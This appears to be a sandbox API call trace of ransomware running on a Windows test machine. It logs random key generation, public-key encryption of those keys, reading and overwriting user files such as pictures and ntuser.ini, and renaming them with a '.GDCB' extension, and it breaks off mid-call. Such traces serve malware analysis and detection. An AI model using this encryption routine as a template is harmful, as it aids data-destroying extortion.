[0141.512] CryptGetKeyParam (in: hKey=0x28a81c0, dwParam=0x8, pbData=0x285f58c, pdwDataLen=0x285f594, dwFlags=0x0 | out: pbData=0x285f58c*=0x800, pdwDataLen=0x285f594*=0x4) returned 1 [0141.512] CryptEncrypt (in: hKey=0x28a81c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f718*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f718*=0x100) returned 1 [0141.513] GetLastError () returned 0x0 [0141.513] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.513] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0141.513] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.513] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.513] ReadFile (in: hFile=0x4e4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f758, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f758*=0x14, lpOverlapped=0x0) returned 1 [0141.523] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.523] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2ad0000 [0141.523] VirtualFree (lpAddress=0x2ac0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.523] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.523] WriteFile (in: hFile=0x4e4, lpBuffer=0x2ad0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2ad0000*, lpNumberOfBytesWritten=0x285f750*=0x20, lpOverlapped=0x0) returned 1 [0141.523] VirtualFree (lpAddress=0x2ad0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.523] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.527] WriteFile (in: hFile=0x4e4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f750*=0x100, lpOverlapped=0x0) returned 1 [0141.527] WriteFile (in: hFile=0x4e4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f750*=0x100, lpOverlapped=0x0) returned 1 [0141.527] WriteFile (in: hFile=0x4e4, lpBuffer=0x29a0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x29a0000*, lpNumberOfBytesWritten=0x285f750*=0x10, lpOverlapped=0x0) returned 1 [0141.527] CloseHandle (hObject=0x4e4) returned 1 [0141.528] VirtualFree (lpAddress=0x29a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.528] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.528] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0141.528] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.ini.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.ini.gdcb")) returned 1 [0141.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.529] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.531] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.532] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.565] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.567] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.567] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.567] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.568] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.570] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.570] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.570] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.577] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8200) returned 1 [0141.577] CryptGetKeyParam (in: hKey=0x28a8200, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.577] CryptEncrypt (in: hKey=0x28a8200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.578] GetLastError () returned 0x0 [0141.578] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.578] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.585] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8500) returned 1 [0141.585] CryptGetKeyParam (in: hKey=0x28a8500, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.585] CryptEncrypt (in: hKey=0x28a8500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.585] GetLastError () returned 0x0 [0141.585] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.585] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\0qcuk3G0.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\0qcuk3g0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.585] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.586] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.586] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x15e7, lpOverlapped=0x0) returned 1 [0141.596] VirtualAlloc (lpAddress=0x0, dwSize=0x15f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.600] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\0qcuk3G0.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\0qcuk3g0.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\0qcuk3G0.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\0qcuk3g0.jpg.gdcb")) returned 1 [0141.600] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.603] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.603] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.603] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.605] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.605] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.605] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.606] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.613] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8540) returned 1 [0141.613] CryptGetKeyParam (in: hKey=0x28a8540, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.613] CryptEncrypt (in: hKey=0x28a8540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.613] GetLastError () returned 0x0 [0141.613] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.613] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed168) returned 1 [0141.621] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a87c0) returned 1 [0141.621] CryptGetKeyParam (in: hKey=0x28a87c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.621] CryptEncrypt (in: hKey=0x28a87c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.621] GetLastError () returned 0x0 [0141.621] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0141.621] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\5j6qWl.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\5j6qwl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.621] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.621] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.622] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x5e1c, lpOverlapped=0x0) returned 1 [0141.631] VirtualAlloc (lpAddress=0x0, dwSize=0x5e20, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.634] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\5j6qWl.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\5j6qwl.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\5j6qWl.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\5j6qwl.gif.gdcb")) returned 1 [0141.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0141.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0141.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0141.635] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0141.636] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0141.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.638] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0141.638] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.638] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0141.639] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.640] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.640] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0141.640] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.640] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0141.644] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8100) returned 1 [0141.644] CryptGetKeyParam (in: hKey=0x28a8100, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.644] CryptEncrypt (in: hKey=0x28a8100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0141.644] GetLastError () returned 0x0 [0141.644] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.644] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0141.648] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28a8840) returned 1 [0141.648] CryptGetKeyParam (in: hKey=0x28a8840, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0141.648] CryptEncrypt (in: hKey=0x28a8840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0141.648] GetLastError () returned 0x0 [0141.648] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.648] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\7- q0PatGd\\pG1qS.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\7- q0patgd\\pg1qs.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0141.648] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.649] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.649] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x1470, lpOverlapped=0x0) returned 1 [0141.661] VirtualAlloc (lpAddress=0x0, dwSize=0x1470, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.665] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\7- q0PatGd\\pG1qS.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\7- q0patgd\\pg1qs.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\7- q0PatGd\\pG1qS.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\7- q0patgd\\pg1qs.bmp.gdcb")) returned 1 [0141.666] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.667] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.667] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.667] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0141.668] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.668] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.668] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.668] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.668] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0141.672] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a85c0) returned 1 [0141.673] CryptGetKeyParam (in: hKey=0x28a85c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.673] CryptEncrypt (in: hKey=0x28a85c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.673] GetLastError () returned 0x0 [0141.673] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0141.673] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0141.677] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8140) returned 1 [0141.677] CryptGetKeyParam (in: hKey=0x28a8140, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.677] CryptEncrypt (in: hKey=0x28a8140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0141.677] GetLastError () returned 0x0 [0141.677] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0141.677] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\FaqWpPUQVtLKuYdk9BQ4.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\faqwppuqvtlkuydk9bq4.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0141.677] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0141.677] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0141.678] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x1477c, lpOverlapped=0x0) returned 1 [0141.687] VirtualAlloc (lpAddress=0x0, dwSize=0x14780, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0141.692] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\FaqWpPUQVtLKuYdk9BQ4.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\faqwppuqvtlkuydk9bq4.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\4o-7px\\FaqWpPUQVtLKuYdk9BQ4.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\4o-7px\\faqwppuqvtlkuydk9bq4.bmp.gdcb")) returned 1 [0141.693] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0141.694] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.694] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.694] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0141.694] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0141.694] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0141.695] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0141.696] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0141.696] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0141.696] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0141.696] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecca0) returned 1 [0141.699] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8600) returned 1 [0141.699] CryptGetKeyParam (in: hKey=0x28a8600, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0141.699] CryptEncrypt (in: hKey=0x28a8600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0141.700] GetLastError () returned 0x0 [0141.700] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0141.700] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0141.703] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a86c0) returned 1 [0141.703] CryptGetKeyParam (in: hKey=0x28a86c0, dwParam=0x8, 